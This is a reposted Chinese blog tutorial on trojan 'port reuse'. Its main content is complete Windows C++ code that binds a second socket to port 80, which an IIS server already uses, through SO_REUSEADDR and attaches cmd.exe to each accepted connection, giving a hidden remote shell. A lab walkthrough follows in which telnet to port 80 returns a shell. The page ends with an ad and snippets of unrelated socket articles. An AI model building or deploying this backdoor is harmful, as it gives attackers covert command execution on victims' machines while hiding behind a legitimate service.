木马控制技术(二) -- 端口复用

摘要:
此外,必须通过WSASocket创建第一个参数的套接字来替换端口。套接字()只能与管道通信。

 本文转自:http://www.cnblogs.com/handt/archive/2012/08/10/2631728.html

 端口复用,字面意思就是,重复使用一个端口

记得有一次同学的 sina 微博总是自动发消息,当时让他查看本地端口,再通过端口找到对应程序

学了端口复用和线程注入之后,发现这种方法对“高级点”的木马完全没用……

还是需要一些强大的 HIP 工具来检查

回到正题

端口复用,使用到了一个重要的函数:

复制代码
int setsockopt(
  __in  SOCKET s,
  __in  int level,
  __in  int optname,
  __in  const char *optval,
  __in  int optlen
);
复制代码

其中第三个参数使用BOOL型值 SO_REUSEADDR,作用介绍:

 Allows the socket to be bound to an address that is already in use. For more information, see bind. Not applicable on ATM sockets.

通过对 socket 使用该设置,达到重用已绑定端口的目的。

另外,第一个参数的socket必须通过WSASocket建立才能被替换端口,socket()建立的就只能用管道来通信了。

完整代码如下:

复制代码
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib,"advapi32.lib")
#include <iostream>
#include <WINSOCK2.H>

int main()
{
    WSAData wsaData;
    SOCKET listenSock;
    // 1st:  initial wsadata and socket
    WSAStartup(MAKEWORD(2,2),&wsaData);
    listenSock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

    // 2nd: setsockopt
    BOOL val = TRUE;
    setsockopt(listenSock,SOL_SOCKET,SO_REUSEADDR,(char*)&val,sizeof(val));
    
    // 3rd: bind -> listen
    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("192.168.199.128");
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port   = htons(80);

    int ret;
    ret = bind(listenSock,(struct sockaddr*)&sockaaddr,sizeof(sockaddr));
    ret = listen(listenSock,2);

    // 4th: accept
    int len = sizeof(sockaaddr);
    SOCKET recvSock;
    recvSock = accept(listenSock,(struct sockaddr*)&sockaaddr,&len);
    
    // 5th: create new process to invoke cmd
    STARTUPINFO si;
    ZeroMemory(&si,sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;

    char cmdLine[] = "cmd";
    PROCESS_INFORMATION pi;
    ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&pi);

    return 0;
}
复制代码

试验过程:

在虚拟机中建立 iis 服务器,占用80端口

木马控制技术(二) -- 端口复用第5张

启动木马程序,看到另一个80端口对外的连接:

木马控制技术(二) -- 端口复用第6张

在宿主机中

telnet 虚拟机ip 80

会反弹回 shell

木马控制技术(二) -- 端口复用第7张

免责声明:文章转载自《木马控制技术(二) -- 端口复用》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇AWS 收费体制使用swagger遇到的问题下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Jenkins+maven+gitlab自动化部署之Jenkins部署(三)

 本章开始正式搭建Jenkins: 公司现在使用的jenkins版本是2.150.3,但是本次实验安装的版本我们选择最新的2.164.3(当然,当你阅读这篇文章时,此版本已经不是最新),jenkins有多种启动方式,这里就不一一介绍,本问采用yum方式部署。 一、配置yum源 [tchua@centos01 ~]$ sudo wget -O /etc/yu...

Linux下Socket的简单使用及最简化封装

Linux下Socket的简单使用及最简化封装 /** 文件功能: linux 下套接字简化操作函数* 文件名称: linux_socket.h* 建立时间: 2007 年 07 月 19 号* 创建作者: wlzqi* 使用语言: C 或 C++ 语言* 使用环境: Linux + Windows* 函数要求: *    + 函数相对比较底层*    +...

Java和.NET下socket转换错误记录

一个项目,需要JAVA的Socket客户端转换为C#的Socket客户端,使用的是短连接。 首先,java客户端代码如下: Socket socket = new Socket(); socket.connect(new InetSocketAddress(ip, port), timeout); socket.setSoTimeout(respTimeo...

加密通讯协议SSL编程周立发

Linux网络编程:加密通讯协议SSL编程<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /> 服务器端源代码如下: #include <stdio.h>#include <stdlib.h>#include &...

socket的一个错误的解释SocketException以及其他几个常见异常

写socket程序有可能会遇见这个问题  其他信息: 由于套接字没有连接并且(当使用一个 sendto 调用发送数据报套接字时)没有提供地址,发送或接收数据的请求没有被接受。  这种情况我的 错误原因:使用了监听的socket执行了接受数据的任务  代码: public void SetSocket() {...

centos7没有netstat命令的解决方法

yum search ifconfig 通过yum search 这个命令我们发现ifconfig这个命令是在net-tools.x86_64这个包里,接下来我们安装这个包就行了 运行  yum install net-tools  就OK了 即可显示当前服务器上所有端口及进程服务,与grep结合可查看某个具体端口及服务情况·· netstat -ntlp...